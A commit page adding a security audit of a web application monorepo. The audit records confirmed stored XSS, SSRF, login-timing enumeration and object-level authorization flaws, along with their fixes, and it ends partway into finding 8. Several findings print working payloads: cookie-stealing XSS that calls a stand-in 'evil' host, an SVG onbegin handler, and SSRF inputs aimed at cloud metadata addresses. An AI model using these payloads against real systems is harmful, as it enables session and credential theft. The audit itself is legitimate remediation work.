Track HiveGrid Cloud planning reference

This commit is contained in:
david committed 2026-06-26 20:48:01 +02:00
1 parent b3d5ea6764
commit e341c5938a
5784 files changed
+1104929 -3

No files matched your search

@@ -0,0 +1,700 @@
# Security Audit — toolctrl-boilerplate
Date: 2026-05-29
Method: 10 parallel security finders (multi-agent) + adversarial per-finding verification.
Scope: full monorepo (apps/web, apps/api, apps/worker, apps/hocuspocus, packages/*, infra).
Result: 27 raw findings -> **17 confirmed/likely**, 10 false positives filtered out, 0 need manual review.
## Remediation status (2026-05-29)
16 of 17 findings fixed across three commits on branch `security/audit-2026-05-29-fixes`. Each fix has tests and passed the repo pre-commit gates (test-density, eslint-baseline, secrets) and the web typecheck.
- **Wave 1 — XSS + SSRF** (`963302a7`): markdown sanitizer (escape raw HTML at the marked layer + harden server fallback), entity-row WYSIWYG cells, raw SVG icons (new `sanitizeIconSvg`), row-media SSRF, avatar/branding SSRF (`HTTP://` bypass), entity-webhook DNS-rebinding SSRF.
- **Wave 2 — authn/authz** (`fb6beb78`): collab-token resource-level authorization (row read-permission + kb-article tenant ownership, fail-closed unknown types), API login dummy-hash (account-enumeration timing), constant-time service-token comparison.
- **Wave 3 — config/infra** (`c9717296`, `3b116672`): production secret-strength validation at boot, Meilisearch bound to loopback, secure-by-default `API_KEY_LEGACY_PLAINTEXT_FALLBACK=false`, fail-closed public rate limiters, admin-SSO `returnTo` backslash open-redirect, Meilisearch KB filter escaping, CI `workflow_dispatch` script-injection (env-bound inputs).
**Deferred (1):** _"API session revocation/logout is process-local"_ (Low). The fix — backing the in-memory store with a shared store (Redis) — is a sync→async refactor of auth-critical code touching every session call site plus dependency wiring, and cannot be validated against real infra in this pass. Tracked for a dedicated change; current TTL (1h) limits exposure.
---
## 1. [High] Stored XSS via markdown sanitizer regex-fallback bypass (slash-separated attributes) on server-rendered surfaces
- **Category:** Stored XSS | **Verdict:** confirmed | **Fix effort:** moderate | **Finder confidence:** high
- **Location:** `apps/web/app/utils/html-sanitizer.ts:61-92 (sanitizeWithStringFallback), 13-19 (sanitizeMarkedHtml fallback selection)`
- **Data flow:** Tenant editor authors markdown (e.g. KB article contentPublished, row log comment, prompt response) -> stored verbatim in DB -> renderSanitizedMarkdown(content) -> marked.parse passes block-level raw HTML through unchanged -> on the server DOMParser is undefined so sanitizeMarkedHtml uses sanitizeWithStringFallback -> the on*-attribute stripping regex requires a leading whitespace (\s) so slash-delimited attributes are NOT removed -> dangerouslySetInnerHTML emits <img/src=x/onerror=...> in the SSR HTML -> browser parses and fires the handler
**Exploit scenario**
A KB editor (or anyone who can author KB article content / entity row comments) saves an article body containing `<div><img/src=x/onerror=fetch('//evil/'+document.cookie)></div>`. marked emits this block-level HTML verbatim. During SSR the regex sanitizer leaves `<img/src=x/onerror=...>` intact because there is no whitespace before `onerror`. Every reader of that KB article (potentially anonymous public help-center visitors) executes the attacker's JS in the app origin, enabling session/token theft and account takeover.
**Evidence**
```
sanitized=sanitized.replace(/\s(?:on[\w:-]+|style|srcdoc)\s*=\s*(?:"[^"]*"|'[^']*'|[^\s"'=<>`]+)/gi,""); // requires \s before on-handler; `<img/src=x/onerror=alert(1)>` is left UNCHANGED (verified end-to-end with marked + this fallback: output still contains onerror)
```
**Recommended fix**
Do not hand-roll an HTML sanitizer with regexes; the server path (no DOMParser) is the one that ships to users and it is bypassable. Replace sanitizeMarkedHtml with a vetted library that runs on the server, e.g. isomorphic-dompurify / sanitize-html with a strict allowlist, applied on BOTH server and client. As an immediate stopgap also configure marked with an output that escapes raw HTML (e.g. a renderer that does not pass through block HTML) and add the slash-delimited-attribute and `/`-as-separator cases to html-sanitizer.test.ts.
**Verifier notes**
The core vulnerability is real and exploitable; the finder's root-cause analysis is correct, though their literal PoC payload is non-firing.
DATA FLOW (verified by reading code + runtime tests):
1. WRITE: apps/web/app/routes/admin/knowledge-base/bases.$slug/articles.$lang.$id.edit.tsx:72-81 stores article body verbatim (contentDraft: content, then published to contentPublished). I grepped the entire knowledgeBase module for sanitize/DOMPurify/escapeHtml at write time — NONE exists. Content is stored as-is.
2. READ (public, anonymous): apps/web/app/routes/help/$slug.($lang).articles.$article.tsx -> KbRoutesArticleApi.loader (apps/web/app/modules/knowledgeBase/routes/api/KbRoutes.Article.Api.tsx:31-70). This loader has NO requireAuth/permission guard — it serves published articles to anonymous help-center visitors.
3. RENDER: KbArticle.tsx:52 -> KbArticleContent.tsx:80 does <div dangerouslySetInnerHTML={{__html: renderSanitizedMarkdown(content)}} />.
4. SANITIZER: renderSanitizedMarkdown -> marked.parse (passes block-level raw HTML through verbatim, confirmed via runtime test) -> sanitizeMarkedHtml (html-sanitizer.ts:13-19). On the SERVER (SSR) DOMParser is undefined (no jsdom/polyfill on server — verified via grep), so sanitizeWithStringFallback runs. Its on*-attribute regex (line 68: /\s(?:on[\w:-]+|style|srcdoc).../ and line 69 /\s(?:on...)(?=\s|>|\/)/) BOTH require a leading \s, so attributes separated by HTML's other legal separator '/' are NOT stripped.
RUNTIME VERIFICATION: I ran marked + the exact fallback regex + jsdom parsing. The finder's literal payload `<img/src=x/onerror=alert(1)>` does NOT fire — '/' inside an unquoted attribute value is consumed into src (src becomes 'x/onerror=alert(1)', no onerror attribute). HOWEVER a trivially adjusted payload `<div><img src="x"/onerror=alert(1)></div>` survives the server sanitizer UNCHANGED and, when parsed by a browser/jsdom, produces a real IMG with a live onerror attribute (verified: FIRES=true, IMG[onerror=alert(1)]). The client DOMParser path correctly strips it (verified output: <div><img src="x"></div>), so this is a server-SSR-only bypass that ships to every reader.
The finder's root cause (\s-anchored regex misses non-whitespace HTML attribute separators), the SSR fallback selection, the public/anonymous reach, and the lack of write-time sanitization are all confirmed. Only their specific PoC string was non-firing; the exploit class is fully open with a seconds-long adjustment. Existing html-sanitizer.test.ts only tests whitespace-separated attrs and runs under jsdom (DOMParser path), so it never exercises the vulnerable server fallback.
**Existing mitigations:** Partial only, none sufficient: (1) The DOMParser/client path (sanitizeWithDomParser) DOES correctly strip on*/style/srcdoc regardless of separator — but it runs only in the browser; the server SSR render uses the bypassable string fallback and that HTML is what ships in the initial document. (2) marked escapes INLINE raw HTML, but passes BLOCK-level raw HTML (lines starting with a tag, e.g. wrapped in <div>) through verbatim — confirmed at runtime. (3) The admin edit/write route is permission-gated (verifyUserHasPermission admin.kb.update + CSRF), so only an authenticated KB editor can author the payload — but the READ surface is anonymous public, so any tenant editor (or compromised editor account) achieves stored XSS against all public readers. No write-time sanitization, no allowlist, no DOMPurify/sanitize-html anywhere in the path.
---
## 2. [High] Stored XSS: entity-row WYSIWYG values rendered with dangerouslySetInnerHTML and NO sanitization
- **Category:** Stored XSS | **Verdict:** confirmed | **Fix effort:** moderate | **Finder confidence:** high
- **Location:** `apps/web/app/utils/helpers/RowHelper.tsx:68 (also apps/web/app/utils/helpers/RowValueUI.tsx:75)`
- **Data flow:** Tenant user creates a TEXT property with Editor attribute = 'wysiwyg' -> stores an arbitrary string in a row value (no sanitization on save) -> getFormattedValue returns the raw string (PropertyType.TEXT returns value verbatim, RowHelper.tsx:289-292) -> RowHelper.getCellValue / RowValueUI render `<div dangerouslySetInnerHTML={{ __html: formattedValue }} />` with zero sanitization -> rendered in the entity grid (RowDisplayHeaderHelper.tsx:119), Kanban (RowsKanban.tsx:71) and new-row preview (RowNewRoute.tsx:132)
**Exploit scenario**
A low-privileged tenant member sets a custom-entity text field (configured with the WYSIWYG editor) to `<img src=x onerror=alert(document.cookie)>` and saves the row. When any other user in the tenant (including admins) opens the entity list/Kanban view, the unsanitized HTML is injected and the script runs in their session. Unlike the input component (RowValueInput.tsx:167 uses renderSanitizedMarkdown), the display cells apply no sanitizer at all, so even a plain `<img onerror>` works.
**Evidence**
```
} else if (PropertyAttributeHelper.getPropertyAttributeValue_String(property, PropertyAttributeName.Editor) === "wysiwyg") {
return <div className="truncate" dangerouslySetInnerHTML={{ __html: formattedValue }} />;
}
```
**Recommended fix**
Sanitize formattedValue before injecting it (use the same vetted sanitizer recommended above, e.g. renderSanitizedMarkdown/DOMPurify) in BOTH RowHelper.tsx and RowValueUI.tsx, matching what RowValueInput already does. Ideally sanitize on write as well so stored values are never trusted on render.
**Verifier notes**
Independently verified the full data flow. Sink: RowHelper.tsx:68 and RowValueUI.tsx:75 render `dangerouslySetInnerHTML={{ __html: formattedValue }}` with no sanitization when the property Editor attribute == "wysiwyg". formattedValue is the raw stored TEXT string — getFormattedValue (RowHelper.tsx:289-292) returns `value` verbatim (no markdown parse, no HTML escape), so a payload like `<img src=x onerror=alert(document.cookie)>` reaches the DOM unchanged and fires on render. Write path stores it verbatim: rows.db.server.ts:357 sets `textValue: value.textValue` with no sanitizer (no DOMPurify/sanitize-html/zod-strip in rows.db.server.ts or PropertyHelper). The asymmetry confirms intent: the input read-only preview at RowValueInput.tsx:166-167 wraps the value in renderSanitizedMarkdown (the project's own sanitizer in utils/html-sanitizer.ts, which removes on* handlers, script/style/srcdoc, and javascript:/data: URLs), but the three display sinks call no sanitizer. Reachable render points all confirmed: entity grid via RowDisplayHeaderHelper.tsx:119 (used by RowsListAndTable.tsx and RowCard.tsx), Kanban at RowsKanban.tsx:71, new-row preview at RowNewRoute.tsx:132 — all authenticated tenant views rendering tenant-stored user content to other tenant users including admins.
**Existing mitigations:** None found. The only CSP in the repo is scoped to the plugin-settings iframe (PluginSettingsFrame / routes/app.$tenant/settings/plugins.$id.tsx); there is no global/app CSP in root.tsx, server.ts, or entry.server.tsx, so inline event-handler (onerror) execution is not blocked on the entity grid/Kanban/new-row surfaces. No sanitization on write, none at the display sinks, and React does not escape dangerouslySetInnerHTML by design.
---
## 3. [High] SSRF via row media URL fetched without scheme/IP validation
- **Category:** SSRF | **Verdict:** confirmed | **Fix effort:** trivial | **Finder confidence:** high
- **Location:** `apps/web/app/utils/helpers/.server/MediaService.ts:20-23`
- **Data flow:** POST row create/update form field (PropertyType.MEDIA) -> RowHelper.tsx:499-501 JSON.parse(form value) into media[] (file/publicUrl attacker-controlled) -> validatePropertyValue_Media (count-only, no URL check) -> rows.db.server.ts:445 storeRowMediaInStorageProvider(entity,row) -> MediaService.ts:20 await fetch(media.publicUrl ?? media.file).blob() -> request issued to attacker-chosen host/IP
**Exploit scenario**
An authenticated tenant member creates/updates a row whose MEDIA property value is JSON like [{"id":"x","name":"a.png","file":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","publicUrl":""}]. The server fetches that URL with the global fetch (no DNS/IP allowlist), reaching cloud metadata, internal admin ports, or other tenant-internal services. Even when the magic-bytes scan later rejects the non-image body, the SSRF request has already executed (blind SSRF / internal port probing / metadata theft if the response is small enough to be stored under media.publicUrl).
**Evidence**
```
media.name = sanitizeFileName(media.name);
const blob = await (await fetch(media.publicUrl ?? media.file)).blob();
const body = new Uint8Array(await blob.arrayBuffer());
const key = media.id + "-" + media.name;
```
**Recommended fix**
Replace the raw fetch with the existing SSRF-safe helper fetchOutboundHttpWithRedirects / validateOutboundHttpUrl from @toolctrl/foundation/outbound-http (which already does DNS resolution and blocks loopback/private/link-local/unique-local ranges). Better: only accept data: URLs for inbound media uploads and reject any http(s) source-of-record URL the client supplies; never fetch a client-provided remote URL server-side without the allowlist.
**Verifier notes**
The SSRF is real and reachable. Trace: HTTP POST to the registered row-create action (apps/web/app/modules/rows/routes/Rows_New.server.ts:61-78, action=create) -> RowHelper.getRowPropertiesFromForm (RowHelper.tsx:495-505) which JSON.parses the attacker-controlled MEDIA form field into media[] with attacker-set file/publicUrl -> validatePropertyValue_Media (PropertyHelper.ts:124-143) is COUNT-ONLY, no URL/scheme/IP checks -> RowsApi.create (RowsApi.ts:464-573) where line 565 calls storeRowMediaInStorageProvider (storeMedia defaults to true) -> MediaService.ts:20 `await (await fetch(media.publicUrl ?? media.file)).blob()` using the GLOBAL undici fetch. The only upstream guard is entity-level create permission (verifyUserHasEntityPermission in Rows_New.server.ts:67 and validateEntityPermission in RowsApi.ts:499) — an authenticated tenant member with normal row-create rights satisfies it. Detail correction: MediaService.ts:15 filters `.filter((f) => !f.publicUrl)`, so the attacker omits publicUrl (or sets it null) and puts the target in `file`; the `?? media.file` on line 20 then resolves to media.file. Legitimate uploads use FileReader.readAsDataURL (UploadDocument.tsx:104-110) producing data: URLs, so an http(s) URL in `file` is an attacker-only condition with no validation between JSON.parse and fetch. Impact is amplified beyond blind SSRF: putBufferAsFile (storageService.ts:174-196) does NO content/magic-byte validation in this path, the fetched response body is stored verbatim, and media.publicUrl is set to the retrievable URL (MediaService.ts:23-39) — so internal/metadata responses can be exfiltrated back to the attacker via the row media URL. The repo already ships the correct SSRF-safe helpers validateOutboundHttpUrl / fetchOutboundHttpWithRedirects in packages/foundation/src/outbound-http.ts (blocks loopback/private/link-local/unique-local, DNS resolution, manual redirect re-validation) but MediaService.ts does not import or use them.
**Existing mitigations:** Only authentication + entity-level create/update permission (verifyUserHasEntityPermission / validateEntityPermission) and tenant scoping — none of which constrain the fetched URL. validatePropertyValue_Media is count-only and does not validate scheme/host/IP. No allowlist, no DNS pinning, no scheme check, no magic-byte gate before the fetch. Requires hasStorageCredentials()==true (normal production config). No mitigation for the SSRF itself was found.
---
## 4. [High] SSRF in avatar/branding upload via case-sensitive http guard bypass
- **Category:** SSRF | **Verdict:** confirmed | **Fix effort:** trivial | **Finder confidence:** high
- **Location:** `apps/web/app/utils/integrations/storageService.ts:80-101`
- **Data flow:** POST settings form field (avatar/icon/logo/favicon/seoImage) -> form.get('avatar').toString() (profile.tsx:130 / account.tsx / portals settings) -> storeFile({content, scan}) -> guard `content.startsWith('http') && !replace` is case-sensitive and bypassed by uppercase scheme -> storageService.ts:100 await fetch(content).blob() -> request to attacker-chosen internal host
**Exploit scenario**
An authenticated user submits avatar=HTTP://169.254.169.254/latest/meta-data/ (or HTTPS://internal-service:8080/). "HTTP://...".startsWith("http") is false, so the early-return at line 80 does not trigger, but new URL()/undici normalizes the scheme to http: and fetch() makes the request. This reaches cloud metadata endpoints and internal services. The same bypass applies to all storeFile callers (account icon, portal/admin branding, widgets, SEO images). The post-fetch magic-bytes scan does not prevent the request.
**Evidence**
```
if (content.startsWith("http") && !replace) {
...
return content;
}
...
if (scan) {
const blob = await (await fetch(content)).blob();
```
**Recommended fix**
Do not rely on a string prefix to gate outbound fetches. Parse the value with new URL() and, for any http/https scheme, route through fetchOutboundHttpWithRedirects/validateOutboundHttpUrl (private-IP/DNS rebinding protection). Ideally restrict storeFile inputs to data: URLs for user uploads and reject remote URLs entirely; also apply the same fix to putFileViaProvider (line 214) which has the identical raw fetch.
**Verifier notes**
Confirmed the full exploit path. storeFile (apps/web/app/utils/integrations/storageService.ts:79-101) gates its outbound fetch with `if (content.startsWith("http") && !replace)` at line 80, then on the scan path issues `await (await fetch(content)).blob()` at line 100 against the raw, attacker-controlled `content`. I verified at the JS level that the prefix check is case-sensitive and bypassable: `"HTTP://169.254.169.254/".startsWith("http")` returns false, so the early return is skipped, while `new URL("HTTP://169.254.169.254/...")` normalizes the scheme to `http:` and fetch issues the request. `replace` is not passed by the upload callers, so `!replace` is always true and the broken guard is the only gate.
Reachability is confirmed: the value is raw request-body form input. In profile.tsx:130 `const avatar = form.get("avatar")?.toString() ?? ""` flows directly to `storeFile({content: avatar, scan: {...}})` at lines 257-269. The action (profile.tsx:119-121) is gated only by `requireAuth` + `validateCSRFToken` — any authenticated tenant user. account.tsx:89/142-170 does the same with `icon = form.get("icon")` behind `verifyUserHasPermission("app.settings.account.update")`. admin/settings/general.tsx:72-76 (logo/icon/favicon/seoImage), __portals/.../settings.tsx (7 callers), and __widgets/widgets/$id.tsx:129 all pass raw form fields as `content` with `scan` set. Standard authenticated-user SSRF threat model.
No mitigation neutralizes it. The codebase HAS a correct SSRF guard — packages/foundation/src/outbound-http.ts `validateOutboundHttpUrl`/`fetchOutboundHttpWithRedirects`, which blocks 169.254.x.x (metadata, line 220), 127.x, 10.x, 172.16-31.x, 192.168.x, 100.64/10, localhost, bare hostnames, and re-validates on each redirect with DNS resolution (anti-rebinding). It is used by webhooks (entityWebhooks.db.server.ts) and workflow blocks (WorkflowBlockService.ts) but NOT by storeFile, which uses bare global `fetch`. I confirmed there is no global undici dispatcher/ProxyAgent installed that would add SSRF filtering. The identical raw `fetch(content)` also exists at storageService.ts:214 (putFileViaProvider), reachable on the no-scan path. The post-fetch magic-bytes scan does not prevent the outbound request from being sent (the request fires before the scan), so it does not mitigate the SSRF; it only limits exfiltration of fetched content back to the attacker, making this a blind SSRF.
**Existing mitigations:** requireAuth/verifyUserHasPermission gate the routes (so it requires an authenticated tenant user, not unauthenticated), and a post-fetch magic-bytes scanner runs on the response — but neither prevents the outbound request from reaching internal hosts/metadata. The correct guard (validateOutboundHttpUrl / fetchOutboundHttpWithRedirects in packages/foundation/src/outbound-http.ts) exists in the repo and is used elsewhere, but is NOT applied to storeFile's fetch at storageService.ts:100 or putFileViaProvider at :214. No allowlist, scheme validation, or private-IP block protects this sink. Net: no effective mitigation.
---
## 5. [Medium] API login endpoint leaks account existence via response-timing (no dummy-hash comparison)
- **Category:** Account Enumeration / Timing Side-Channel | **Verdict:** confirmed | **Fix effort:** trivial | **Finder confidence:** high
- **Location:** `apps/api/src/routes/auth-routes.ts:52-71`
- **Data flow:** POST /v1/auth/login {email,password} -> findLegacyLoginUserByEmail(email) -> if user missing OR passwordHash null: return immediately; else: comparePassword (bcrypt.compare, ~50-100ms) -> measurable timing delta reveals whether an email is a registered password account
**Exploit scenario**
An attacker scripts POST /v1/auth/login with a fixed wrong password and varying emails. Requests for non-existent or magic-link-only accounts return in a few ms (no hash work), while requests for real password accounts incur the full bcrypt.compare cost. By measuring median latency the attacker enumerates valid corporate email accounts (and distinguishes password vs passwordless accounts), feeding targeted credential-stuffing/phishing. The web login path defends against exactly this by always running verifyPassword against DUMMY_PASSWORD_HASH; the API path does not.
**Evidence**
```
const user = await dependencies.findLegacyLoginUserByEmail(email);
if (!user) {
await dependencies.recordFailedLoginAttempt(rateLimitRequest);
return apiError(c, 400, "invalid_credentials", AUTH_INVALID_CREDENTIALS_MESSAGE);
}
if (user.passwordHash === null) { ... return ... }
const isCorrectPassword = await dependencies.comparePassword(password, user.passwordHash);
```
**Recommended fix**
Mirror the web AuthService: when no user (or a null hash) is found, still run a comparePassword against a constant dummy bcrypt hash before returning invalid_credentials, so the response time is independent of account existence. Keep the per-account + per-IP rate limiting that is already in place.
**Verifier notes**
I read the cited code and traced the full data flow. The route POST /v1/auth/login is registered (apps/api/src/app.ts:120 -> registerAuthRoutes) and reachable with unauthenticated attacker-controlled JSON {email,password}. The handler (apps/api/src/routes/auth-routes.ts:52-71) has three distinct latency profiles: (1) user missing -> returns immediately after a single Prisma findUnique, no bcrypt; (2) user.passwordHash === null (magic-link-only account) -> returns immediately, no bcrypt; (3) real password account -> dependencies.comparePassword, which is bound to bcrypt.compare (app-dependencies.ts:361), incurring the full ~50-100ms hash cost. findLegacyLoginUserByEmail (packages/db/src/users.server.ts:123-141) does only a findUnique and returns null with no compensating work, so it adds no equalizing delay. The web AuthService (apps/web/app/modules/users/services/AuthService.ts:219) deliberately defends against exactly this by always running verifyPassword against DUMMY_PASSWORD_HASH (line 24) even when no user is found — the API path has no equivalent, confirming the maintainers consider this in-scope and the asymmetry is real, not theoretical. The repo's own tests confirm the early-return behavior (app.test.ts:2215: comparePassword is NOT called for magic-link accounts). The measurable timing delta lets an attacker scripting fixed-wrong-password logins across varying emails distinguish registered password accounts from non-existent/passwordless ones, enumerating valid corporate emails and account types for credential-stuffing/phishing. The mitigation finder credits (rate limiting) is weak: the per-IP limit (10/min) derives the client IP solely from the attacker-spoofable x-forwarded-for / x-real-ip headers (login-rate-limit.ts:161-174; createLoginRateLimitRequest passes remoteAddress:null at shared.ts:211, with no proxy-trust validation), so it is bypassable by header rotation; the per-account limit (5/min) is keyed per email and does not impede enumeration across many distinct emails (each email gets its own budget, and only a few timing samples per email are needed). No constant-time compare, no dummy-hash fallthrough, and no upstream guard neutralizes the issue.
**Existing mitigations:** Per-account login rate limit (5/min, keyed on normalized email) in apps/api/src/auth/login-rate-limit.ts is the only partial control, but it does not prevent cross-email enumeration (per-email budgets) and a few samples per email suffice. The per-IP limit (10/min) is effectively bypassable: the client IP is taken directly from attacker-controlled x-forwarded-for/x-real-ip headers with no trusted-proxy validation (deriveLoginRateLimitClientIp; createLoginRateLimitRequest sets remoteAddress:null). No dummy-hash/constant-time compare exists on the API path, unlike the web AuthService.
---
## 6. [Medium] Realtime-collab token issuer grants document access on tenant membership alone, with no resource-level authorization
- **Category:** Broken Object-Level Authorization | **Verdict:** confirmed | **Fix effort:** moderate | **Finder confidence:** medium
- **Location:** `apps/web/app/routes/api.collab.token.ts:64-101`
- **Data flow:** POST /api/collab.token body { tenantId, resourceType, resourceId } -> getTenantUserType(session.userId, body.tenantId) verifies only tenant membership -> jwt.sign({ userId, tenantId, resourceType, resourceId }) bound to the caller-chosen resourceId -> Hocuspocus onAuthenticate (apps/hocuspocus/src/extensions/auth.ts) only re-checks the JWT matches the documentName triple, performing NO resource ACL lookup -> attacker joins/edits the chosen collaborative document
**Exploit scenario**
A low-privileged but active member of tenant T (e.g. a read-only or limited-role user) POSTs to /api/collab.token with { tenantId: T, resourceType: 'row', resourceId: <id of a document/row they have no row-permission to> }. The endpoint only checks getTenantUserType (any active membership passes) and returns a valid 15-minute JWT for documentName `T:row:<id>`. Hocuspocus admits the connection because the JWT triple matches the documentName, with no further per-resource permission check. The user can now read and collaboratively edit a document within their tenant that the row-permission system (RowPermission / getUserRowPermission) would otherwise deny. Scope is bounded to the user's own tenant (cross-tenant is blocked by the membership check), but it bypasses intra-tenant object-level authorization for any collaborative resource.
**Evidence**
```
const membership = await getTenantUserType(session.userId, body.tenantId);
if (!membership) {
return Response.json({ error: "forbidden", reason: "tenant-membership-required" }, { status: 403 });
}
...
const token = jwt.sign({ userId: session.userId, tenantId: body.tenantId, resourceType: body.resourceType, resourceId: body.resourceId }, secret, ...);
```
**Recommended fix**
Before signing the token, perform a resource-level authorization check for the requested (resourceType, resourceId) within tenantId — e.g. for resourceType 'row' call getRowById/getUserRowPermission and require canRead/canUpdate; reject with 403 when the user lacks access. Do not rely solely on tenant membership. Alternatively, have Hocuspocus onAuthenticate call back into an authorization endpoint to confirm resource access on connect.
**Verifier notes**
I read both cited files plus all callers/callees and confirmed the exploit path is open end-to-end.
Reachability: apps/web/app/routes.ts uses createRoutesFromFolders (v1 flat-route auto-discovery). The file api.collab.token.ts is a normal route file (not .server.ts/.test.ts, so not in defaultIgnoredRouteFilePatterns), so its exported `action` is HTTP-reachable at POST /api/collab.token.
Guards present but insufficient: (1) HOCUSPOCUS_AUTH_SECRET must be set else 503; (2) authenticated session via getUserInfo (session.server.ts:140) else 401 — this only reads userId from the cookie, pure authentication; (3) input validation isDocumentNamePart/isNonEmptyString (lines 35-41) only checks string type, length<=256, and colon presence — NOT an ACL; (4) tenant membership via getTenantUserType (tenants.db.server.ts:388-400) which only queries tenantUser for ACTIVE status on an active tenant and returns {status,type} — NO row/resource-level authorization; (5) per-tenant feature flag realtime-collab-enabled.
Attacker-controlled resourceId (body.resourceId) is copied verbatim into the signed JWT (api.collab.token.ts:88-90) after only the membership + flag checks. Hocuspocus onAuthenticate -> verifyCollabToken (apps/hocuspocus/src/extensions/auth.ts:68-99) only verifies HS256 signature + that the JWT's tenantId/resourceType/resourceId equal the documentName triple — no resource ACL. The database extension fetchCollabDoc/storeCollabDoc (database.ts:40-93) loads and persists the Y.js BLOB purely by the documentName triple, with an explicit comment 'Auth has already verified that the connection has access to this triple' — which is false at the resource level. I grepped all of apps/hocuspocus/src for getRowById/getUserRowPermission/RowPermission/canRead/canUpdate/authoriz/permission and found only comment mentions, no actual check.
The repo's real row-authorization lives in apps/web/app/utils/db/entities/rows.db.server.ts: getAccessFilters (lines 492-505) combines TenantHelper.tenantCondition AND getRowPermissionsCondition({tenantId,userId}), proving that in the normal web data path a tenant member still does NOT automatically get row access — per-user RowPermission filtering applies. The collab token endpoint bypasses this entirely.
Net: a low-privileged but ACTIVE member of tenant T can POST {tenantId:T, resourceType:'row', resourceId:<row they lack row-permission on>}, receive a valid 15-min JWT for documentName T:row:<id>, connect to Hocuspocus, and read/edit the collaborative document — bypassing intra-tenant object-level authorization (RowPermission). Cross-tenant is blocked by the membership check, so impact is bounded to the attacker's own tenant; gated by the realtime-collab-enabled flag and requires knowing/guessing a target resourceId. Medium is correct.
**Existing mitigations:** Partial-only controls, none of which close the gap: authentication (getUserInfo), tenant-membership check (getTenantUserType) which blocks cross-tenant access, input length/format validation (isDocumentNamePart), and a per-tenant feature flag (realtime-collab-enabled). The genuine row-ACL system (getRowPermissionsCondition / RowPermission, applied in rows.db.server.ts getAccessFilters) is NOT invoked anywhere in the collab-token issuer or in Hocuspocus onAuthenticate/database extension. No resource-level authorization mitigation found.
---
## 7. [Medium] Unsanitized raw SVG injection via icon fields (entity/KB/sidebar icons)
- **Category:** Stored XSS (SVG) | **Verdict:** confirmed | **Fix effort:** moderate | **Finder confidence:** medium
- **Location:** `apps/web/app/components/layouts/icons/EntityIcon.tsx:7 (same pattern: SidebarIcon.tsx:22, ImageOrSvg.tsx:8, InputImage.tsx:144, KbCategory.tsx:38, KbCategoriesGrid.tsx:32)`
- **Data flow:** Tenant admin enters an icon value via a form field name="icon" (EntityForm.tsx:232, KbCategoryForm.tsx:64) that accepts a raw '<svg ...>...</svg>' string -> stored verbatim -> rendered as `<div dangerouslySetInnerHTML={{ __html: icon.replace('<svg', "<svg class='...'") }} />` with no sanitization of the SVG body/attributes
**Exploit scenario**
An entity/KB administrator stores an icon string containing scriptable SVG, e.g. `<svg><a xlink:href="javascript:alert(document.cookie)"><rect width=99 height=99/></a></svg>` or SVG with `<animate onbegin=...>`/`<foreignObject>` payloads. When rendered in the sidebar/entity list/public KB grid, the markup runs depending on browser/SVG parsing context. The .replace('<svg', ...) only injects a class and does no sanitization. Confidence is tempered because innerHTML-injected SVG event handlers do not fire uniformly across browsers, and the field is admin-restricted.
**Evidence**
```
<div dangerouslySetInnerHTML={{ __html: icon.replace("<svg", `<svg class='${className}'`) ?? "" }} />
```
**Recommended fix**
Never inject raw user-supplied SVG via innerHTML. Either render icons via an <img>/icon-name allowlist, or sanitize the SVG with DOMPurify configured for SVG (USE_PROFILES: { svg: true, svgFilters: true }) and strip event handlers and javascript:/data: hrefs before rendering. Apply consistently to EntityIcon, SidebarIcon, ImageOrSvg, InputImage, and the KB category icon renderers.
**Verifier notes**
Independently traced the full input->sink path and confirmed all five sinks plus an end-to-end exploit path with no mitigation.
SINK (confirmed verbatim): EntityIcon.tsx:7, SidebarIcon.tsx:22, ImageOrSvg.tsx:8, KbCategory.tsx:36-45, KbCategoriesGrid.tsx:30-39 all render `dangerouslySetInnerHTML={{ __html: icon.replace("<svg", "<svg class='...'") }}`. The `.replace` only injects a class attribute after the first `<svg`; it strips nothing. No sanitizer is applied.
INPUT (attacker-controlled): EntityForm.tsx:232 and KbCategoryForm.tsx:64 expose `name="icon"` as a free InputText that accepts a raw `<svg>...</svg>` string.
STORAGE (no sanitization): the admin actions read it raw and persist verbatim, e.g. routes/admin/knowledge-base/bases.$slug/categories.$lang/new.tsx:44 `const icon = form.get("icon")?.toString() ?? ""` -> createKnowledgeBaseCategory -> kbCategories.db.server.ts:133 `icon: data.icon`. Same for entity icons (routes/admin/entities/$entity/details.tsx:50).
AUDIENCE / privilege boundary crossed: the stored KB icon is served by KbRoutes.Index.Api.tsx loader, which is wired to the PUBLIC route routes/docs/($lang).tsx (and /help/*). That loader has NO requireAuth/permission gate — it calls KnowledgeBaseService.get({ enabled: true }) and returns categories (with their icon) to any anonymous visitor, where KbCategoriesGrid renders the raw SVG. So an admin-stored payload executes in the browsers of unauthenticated public visitors. Entity icons additionally render in the authenticated tenant app (sidebar/entity lists) to all tenant users.
MITIGATIONS HUNTED AND RULED OUT: (1) No DOMPurify/sanitize-html/xss package anywhere in apps/web or packages. (2) No page-level Content-Security-Policy in root.tsx/entry.server.tsx — the only CSP references are iframe-sandbox CSP for the plugins settings frame, which does not cover the docs/help pages. (3) The `.replace("<svg", ...)` is class injection, not sanitization. (4) Permission checks (admin.kb.create/update, verifyUserHasPermission) and validateCSRFToken protect only the WRITE; they do not sanitize content and do not protect the public READ audience.
EXPLOITABILITY (honest, matches finder's tempered confidence): innerHTML-inserted `<script>` does NOT run (HTML spec), and `<svg onload>` does not fire for inline SVG. But SMIL animation handlers fire on inline SVG in Chromium/Firefox, giving a working payload such as `<svg xmlns="http://www.w3.org/2000/svg"><animate onbegin="alert(document.cookie)" attributeName="x" dur="1s"/></svg>` (also `<animate onend=...>` and interaction handlers like onmouseover on child shapes). There is real cross-browser variance, but a working stored-XSS exists against modern engines on a public page, enabling cookie/session theft against site visitors.
Conclusion: genuine stored XSS via SVG; the write is admin-gated (smaller attacker set) but the render audience is unauthenticated/public and cross-user, so the issue is real and exploitable.
**Existing mitigations:** Write side is gated by verifyUserHasPermission (admin.kb.create/update, entity admin perms) + validateCSRFToken, which narrows the attacker to privileged admins/super-admins and blocks CSRF — but these do not sanitize the stored value and do not protect the public/cross-user render audience. No DOMPurify/sanitize-html exists in the repo; no page-level Content-Security-Policy is set on the docs/help/app pages (the only CSP is an iframe sandbox for the plugins settings frame). The `.replace("<svg", "<svg class='...'")` is class injection, not sanitization. Net: no control neutralizes the XSS at the render sink.
---
## 8. [Medium] DNS-rebinding SSRF in legacy entity-webhook delivery (no resolved-address check)
- **Category:** SSRF | **Verdict:** confirmed | **Fix effort:** trivial | **Finder confidence:** high
- **Location:** `apps/web/app/utils/db/entities/entityWebhooks.db.server.ts:123-167, 194-211`
